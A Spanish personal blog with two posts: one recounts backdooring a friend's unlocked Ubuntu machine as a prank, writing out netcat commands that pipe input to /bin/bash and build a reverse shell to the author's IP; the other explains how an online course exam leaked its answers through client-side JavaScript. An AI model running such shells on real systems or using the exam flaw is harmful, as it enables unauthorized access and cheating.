jueves, 21 de marzo de 2013

Owning my friend! (III)

Bueno bueno bueno, por alusiones personales.. http://seifreed.com/2013/03/21/yoy-have-been-owned/ he de decir que todo es mentira! :)

A ver, no ha sido tan fácil como lo comenta Seifreed, sí que es verdad que se dejó el ordenador sin bloquear, pero justo cuando lo vi, yo estaba a punto de irme a mi casa y tenía todo recogido así que no había demasiado tiempo. Por esa razón, la mejor opción, era dejarle un puerto a la escucha, que me brindase la oportunidad de ejecutar comandos.

Por esa razón lo primero a probar era dejar con NetCat ese servicio a la escucha:
  • $nc -l 2906 -e /bin/bash


El problema.. que la versión que viene por defecto en su ubuntu está "capada".

nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.

La opción de instalar la versión completa, existía, pero tenía privilegios de su usuario, no de root. Así pues, una de las pocas cosas que podía hacer en el poco tiempo que tenía era ejecutar lo siguiente:
  • $nc -l 2906 | /bin/bash

De esta forma, aunque no sea interactivo, todo lo que le envíe será redirigido hacia /bin/bash, y por lo tanto, ejecutado (aunque no veré resultados). 

Esta mañana, lo único que tenía que hacer era crearme una reverse shell. (sí, algún compañero me ha dicho, "súbele un meterpreter", pero la idea era darle una pequeña lección, no putearlo ;)). Así que, dejando un par de servicios a la escucha con el NetCat uno lo utilizaría de canal de envío de comandos y el otro para la recepción de resultados.
  • Terminal1: $nc -v -l 2906
  • Terminal2: $nc -v -l 2907

Y ahora.. conectandome a la máquina de Seifreed, sólo tenía que hacer, que se conectase contra mi y me sirviese la shell. 
TerminalAtacar: 
  • $nc IPSEIFREED 2906  --> para conectarme a él
  • $nc MYIP 2906 | /bin/bash | nc MYIP 2907


De esta forma primero me conecto a él, y luego hago que él se conecte a mi, sirviéndome esa shell tan preciada, Por supuesto, una vez aquí, ya ha sido cuando he creado ese archivo en su home, y le he avisado. 

Si alguien quiere saber más acerca de cómo hacer una reverse shell.. hay mucha información públicada, pero a mi, un par de enlaces que me gusta mirar para ver si tengo la oportunidad de utilizar son los siguientes:
Listado de reverse shells en una linea:
Cómo hacer una reverse shell a través de ICMP:






domingo, 9 de diciembre de 2012

Cómo no hacer un sistema de exámenes...


El otro día me tocó hacer un curso de esos online, para tener un títulillo sobre Prevención de Riesgos Laborales.
Por mucho que la RRHH te diga que no te llevará más de 15 minutos... al principio del curso ya ves que es una repetición de los mismos conceptos que has escuchado una y otra vez, y de la lógica.. y bueno, un mensajito indica que dura 160 slides, y que serán aproximadamente unos 240 minutos.
Así que 160 slides después, lo último que tienes ganas es que te hagan un examen de la teoría que has tenido que leer, repitiendo lo mismo una y otra vez... Por lo que cuando he acabado el examen correctamente... me ha dado por "mirar" la aplicación.

Que nos podemos encontrar en este punto? pues muchas opciones, pero la que me he encontrado.. ha sido una que no me la esperaba... por lo mal hecha que estaba. 


Al acceder al examen, era tipo test, con tres posibles respuestas de A, B, o C, con lo que sí acertabas salía un "CORRECTO" y si fallabas un "ERROR". 

Tal y como se comportaba la aplicación, que no parecía haber ningún tipo de refresco, de peticiones hacia el servidor ni nada, me puse a observar el código fuente, esperando que no fuesen verdad mis sospechas. Efectivamente, lo eran. Las comprobaciones las hacía directamente con un javascript en la parte del usuario. FAIL.

Como se puede observar, al elegir una opción, se realiza una petición a una función javascript contenida en la misma página. Y en función de que opción se elija se envían unos parámetros u otros.


Al buscar la función, nos encontramos que en tratando los parámetros recibidos, se indica si la respuesta que has seleccionado es la correcta o no (si el primer parámetro es un 1, es la correcta), además, al hacer el envío, tenemos el valor de "value" que nos indica cómo se tiene que respuesta se deberá pintar de verde, por lo que es otra forma de saber la respuesta correcta. En resumen, que en la misma petición, ya se está enviando la solución! la función de validación, solo sirve para pintar los colores y el mensajito de CORRECTO y sumar puntos! (se puede observar al final de la siguiente captura)


Además, no solo contentos con esto.. han hecho que todas las preguntas estén en el mismo Html, y que por lo tanto, se puede visualizar todas las respuestas de golpe, buscando los "validarRespuesta(1,XXX" 
podríamos obtener todas las respuestas posibles. 

Cómo sería muy cansado y laborioso estar revisando todo el código de la página para ir acertando cada una de las preguntas que se hacen... es más fácil si sabes como se hace la petición para registrar tu resultado... y cómo no, también está en el código fuente:


Pero recordad, haciendo esto, no se aprende! que si os apuntan a un curso, es para sacar provecho, y que luego os envíen un título como el siguiente.